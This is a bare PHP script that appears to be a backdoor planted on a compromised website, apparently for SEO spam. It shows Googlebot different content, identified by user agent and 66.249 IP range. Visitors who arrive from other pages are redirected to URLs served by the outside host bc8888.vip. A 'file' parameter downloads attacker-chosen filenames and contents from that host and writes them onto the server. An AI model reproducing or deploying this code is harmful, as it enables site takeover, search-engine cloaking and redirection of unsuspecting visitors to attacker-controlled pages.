Elep

<?php
$webpath = 'https://bc8888.vip/yindu';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$remoteIp = $_SERVER['REMOTE_ADDR'];
if ((strpos($userAgent, 'Googlebot') !== false && strpos($remoteIp, '66.249.') === 0) || (strpos($userAgent, 'AMPHTML') !== false && strpos($remoteIp, '66.249.') === 0)) {
    $do = 1;
} elseif (!isset($_SERVER['HTTP_REFERER'])) {
    $do = 2;
} else {
    $do = 3;
    $url = $webpath . '/db.php?do=' . $do;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
    }
    if (trim($response) !== '') {
        header("Location:".trim($response),true,302);
        exit();
    }
    curl_close($ch);
}
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$bcurrentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];
if (isset($_GET["file"])) {
    $url = $webpath . '/db.php';
    $postData = ['file' => $_GET["file"]];
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($postData)
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    $data = json_decode(trim($response), true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($data['content'])) {
        file_put_contents(__DIR__ . '/' . $data['filename'], $data['content']);
        if (file_exists($data['filename'])) {
            echo 'ok';
        } else {
            echo 'fail';
        }
    }
    exit();
}
if (isset($_GET["sitemap"])) {
    $url = $webpath . '/db.php?sitemap=1&currentUrl=' . $currentUrl;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
    }
    curl_close($ch);
    echo trim($response);
    exit();
}
if (isset($_GET["page"])) {
    $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl.'&page='.$_GET["page"];
}else{
    $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
}
curl_close($ch);
echo trim($response);
?>